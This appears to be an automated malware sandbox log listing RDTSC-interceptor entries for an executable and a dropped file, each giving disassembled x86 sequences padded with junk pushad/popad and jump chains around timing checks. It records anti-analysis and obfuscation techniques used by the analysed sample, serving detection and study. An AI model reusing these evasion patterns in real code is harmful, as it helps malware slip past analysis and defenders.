Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC05C7 second address: 4FC062C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F0C00BB0B18h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F0C00BB0B10h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov edx, eax 0x0000001e pushfd 0x0000001f jmp 00007F0C00BB0B18h 0x00000024 or cl, 00000038h 0x00000027 jmp 00007F0C00BB0B0Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC062C second address: 4FC0686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0C0133BF4Ah 0x00000016 sbb eax, 2E530BC8h 0x0000001c jmp 00007F0C0133BF4Bh 0x00000021 popfd 0x00000022 jmp 00007F0C0133BF58h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0686 second address: 4FC068D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC068D second address: 4FC06B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jmp 00007F0C0133BF59h 0x0000000d call 00007F0C725AF88Ah 0x00000012 push 762327D0h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov eax, dword ptr [esp+10h] 0x00000022 mov dword ptr [esp+10h], ebp 0x00000026 lea ebp, dword ptr [esp+10h] 0x0000002a sub esp, eax 0x0000002c push ebx 0x0000002d push esi 0x0000002e push edi 0x0000002f mov eax, dword ptr [762C0140h] 0x00000034 xor dword ptr [ebp-04h], eax 0x00000037 xor eax, ebp 0x00000039 push eax 0x0000003a mov dword ptr [ebp-18h], esp 0x0000003d push dword ptr [ebp-08h] 0x00000040 mov eax, dword ptr [ebp-04h] 0x00000043 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004a mov dword ptr [ebp-08h], eax 0x0000004d lea eax, dword ptr [ebp-10h] 0x00000050 mov dword ptr fs:[00000000h], eax 0x00000056 ret 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a mov edi, ecx 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC06B9 second address: 4FC06D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC06D2 second address: 4FC06D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC06D6 second address: 4FC06DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC06DC second address: 4FC07B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0C0133BF58h 0x00000009 or cx, 3548h 0x0000000e jmp 00007F0C0133BF4Bh 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e mov ch, bl 0x00000020 pushfd 0x00000021 jmp 00007F0C0133BF4Ah 0x00000026 sub si, F7A8h 0x0000002b jmp 00007F0C0133BF4Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov esi, edx 0x00000034 pushad 0x00000035 pushad 0x00000036 movzx ecx, dx 0x00000039 pushfd 0x0000003a jmp 00007F0C0133BF57h 0x0000003f and ax, 259Eh 0x00000044 jmp 00007F0C0133BF59h 0x00000049 popfd 0x0000004a popad 0x0000004b mov edi, eax 0x0000004d popad 0x0000004e mov al, byte ptr [edx] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F0C0133BF4Fh 0x00000059 add ah, FFFFFFAEh 0x0000005c jmp 00007F0C0133BF59h 0x00000061 popfd 0x00000062 call 00007F0C0133BF50h 0x00000067 pop esi 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC07B8 second address: 4FC07BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC07BE second address: 4FC07DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0C0133BF4Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC07DD second address: 4FC07E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC07E3 second address: 4FC07B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F0C0133BF50h 0x00000010 jne 00007F0C0133BEADh 0x00000016 mov al, byte ptr [edx] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F0C0133BF4Fh 0x00000021 add ah, FFFFFFAEh 0x00000024 jmp 00007F0C0133BF59h 0x00000029 popfd 0x0000002a call 00007F0C0133BF50h 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0813 second address: 4FC0817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0817 second address: 4FC081D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC081D second address: 4FC08F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f call 00007F0C00BB0B13h 0x00000014 mov si, 3AAFh 0x00000018 pop eax 0x00000019 popad 0x0000001a mov edi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e mov bx, E954h 0x00000022 pushfd 0x00000023 jmp 00007F0C00BB0B0Dh 0x00000028 xor ecx, 364BD416h 0x0000002e jmp 00007F0C00BB0B11h 0x00000033 popfd 0x00000034 popad 0x00000035 dec edi 0x00000036 pushad 0x00000037 mov edi, eax 0x00000039 mov ax, E77Fh 0x0000003d popad 0x0000003e lea ebx, dword ptr [edi+01h] 0x00000041 pushad 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F0C00BB0B0Eh 0x00000049 sub eax, 58F65F68h 0x0000004f jmp 00007F0C00BB0B0Bh 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007F0C00BB0B18h 0x0000005b and al, FFFFFFC8h 0x0000005e jmp 00007F0C00BB0B0Bh 0x00000063 popfd 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 call 00007F0C00BB0B16h 0x0000006c pop ecx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC08F4 second address: 4FC0959 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 0A6B0AE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov al, byte ptr [edi+01h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F0C0133BF53h 0x00000014 xor ecx, 7646A56Eh 0x0000001a jmp 00007F0C0133BF59h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007F0C0133BF4Eh 0x00000028 sbb esi, 5767C8E8h 0x0000002e jmp 00007F0C0133BF4Bh 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0959 second address: 4FC0969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 inc edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop esi 0x0000000d mov dh, 70h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0969 second address: 4FC099D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c push esi 0x0000000d mov cl, dl 0x0000000f pop eax 0x00000010 movsx edi, cx 0x00000013 popad 0x00000014 jne 00007F0C725A4038h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bh, 71h 0x0000001f mov cx, 1C31h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC099D second address: 4FC09B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C00BB0B0Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC09B9 second address: 4FC09BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC09BF second address: 4FC09C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC09C3 second address: 4FC09C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC09C7 second address: 4FC0A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b jmp 00007F0C00BB0B19h 0x00000010 rep movsd 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a pushad 0x0000001b jmp 00007F0C00BB0B0Ch 0x00000020 call 00007F0C00BB0B12h 0x00000025 mov bh, al 0x00000027 pop edx 0x00000028 popad 0x00000029 mov ecx, edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F0C00BB0B18h 0x00000032 sub esi, 3F3E0A58h 0x00000038 jmp 00007F0C00BB0B0Bh 0x0000003d popfd 0x0000003e popad 0x0000003f and ecx, 03h 0x00000042 jmp 00007F0C00BB0B15h 0x00000047 rep movsb 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F0C00BB0B0Dh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0A68 second address: 4FC0A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0A6E second address: 4FC0A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0A72 second address: 4FC0A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ah, 33h 0x00000014 movsx edi, cx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0A8A second address: 4FC0B2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F0C00BB0B16h 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 jmp 00007F0C00BB0B10h 0x00000018 mov dword ptr fs:[00000000h], ecx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F0C00BB0B0Eh 0x00000026 add cx, 6308h 0x0000002b jmp 00007F0C00BB0B0Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ecx 0x00000033 jmp 00007F0C00BB0B15h 0x00000038 pop edi 0x00000039 pushad 0x0000003a mov dx, cx 0x0000003d mov dl, ch 0x0000003f popad 0x00000040 pop esi 0x00000041 pushad 0x00000042 mov dh, A6h 0x00000044 call 00007F0C00BB0B0Ah 0x00000049 mov esi, 2D3C8061h 0x0000004e pop esi 0x0000004f popad 0x00000050 pop ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B2B second address: 4FC0B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B2F second address: 4FC0B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B35 second address: 4FC0B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B3A second address: 4FC0B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F0C00BB0B0Dh 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d leave 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0C00BB0B0Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B5C second address: 4FC0B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0B61 second address: 4FC055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a retn 0008h 0x0000000d cmp dword ptr [ebp-2Ch], 10h 0x00000011 mov eax, dword ptr [ebp-40h] 0x00000014 jnc 00007F0C00BB0B05h 0x00000016 push eax 0x00000017 lea edx, dword ptr [ebp-00000590h] 0x0000001d push edx 0x0000001e call esi 0x00000020 push 00000008h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0CAA second address: 4FC0CAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: EF4B4 second address: EF4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: EF4B8 second address: EF4EC instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F0C0133BF55h 0x00000014 jmp 00007F0C0133BF4Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: EF4EC second address: EF4F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: EF4F3 second address: EED4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D29EDh], esi 0x0000000e push dword ptr [ebp+122D0049h] 0x00000014 pushad 0x00000015 push ecx 0x00000016 jmp 00007F0C0133BF58h 0x0000001b pop ebx 0x0000001c jl 00007F0C0133BF49h 0x00000022 popad 0x00000023 call dword ptr [ebp+122D1D6Bh] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov dx, C5F3h 0x0000002f jmp 00007F0C0133BF59h 0x00000034 popad 0x00000035 xor eax, eax 0x00000037 mov dword ptr [ebp+122D28ABh], edx 0x0000003d jns 00007F0C0133BF50h 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 jnc 00007F0C0133BF4Ch 0x0000004d mov dword ptr [ebp+122D39A8h], eax 0x00000053 jmp 00007F0C0133BF55h 0x00000058 mov esi, 0000003Ch 0x0000005d mov dword ptr [ebp+122D29EDh], ecx 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 or dword ptr [ebp+122D28ABh], edi 0x0000006d lodsw 0x0000006f jnl 00007F0C0133BF4Dh 0x00000075 cmc 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a jmp 00007F0C0133BF51h 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 pushad 0x00000084 xor bx, 0D58h 0x00000089 jno 00007F0C0133BF47h 0x0000008f popad 0x00000090 nop 0x00000091 push eax 0x00000092 push edx 0x00000093 jg 00007F0C0133BF48h 0x00000099 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: EED4E second address: EED65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0C00BB0B06h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2743EF second address: 2743F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2743F3 second address: 2743F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2736A7 second address: 2736AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273805 second address: 273809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273809 second address: 27380D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 27380D second address: 273821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F0C00BB0B06h 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273821 second address: 273825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273825 second address: 27384F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jns 00007F0C00BB0B26h 0x0000000f push esi 0x00000010 jmp 00007F0C00BB0B16h 0x00000015 pop esi 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273AB0 second address: 273ABA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C0133BF46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273ABA second address: 273AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273AC0 second address: 273AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F0C0133BF54h 0x0000000a jo 00007F0C0133BF46h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273AE1 second address: 273AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273AF2 second address: 273AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273AF8 second address: 273B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273B10 second address: 273B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0C0133BF46h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273B1A second address: 273B24 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273B24 second address: 273B29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273B29 second address: 273B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B0Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 273CB1 second address: 273CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 275583 second address: 275593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C00BB0B0Ch 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2755DF second address: 2755FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F0C0133BF48h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F0C0133BF4Ch 0x00000017 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2755FC second address: 275698 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C00BB0B1Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D1DA7h], edi 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D3B18h] 0x00000019 call 00007F0C00BB0B09h 0x0000001e jnl 00007F0C00BB0B1Ah 0x00000024 push eax 0x00000025 jc 00007F0C00BB0B0Ah 0x0000002b push ebx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ebx 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push esi 0x00000034 jmp 00007F0C00BB0B10h 0x00000039 pop esi 0x0000003a mov eax, dword ptr [eax] 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push edx 0x00000041 pop edx 0x00000042 popad 0x00000043 jmp 00007F0C00BB0B15h 0x00000048 popad 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 275736 second address: 275744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 275744 second address: 27576E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F0C00BB0B10h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 jmp 00007F0C00BB0B0Ah 0x00000019 pop ebx 0x0000001a rdtsc
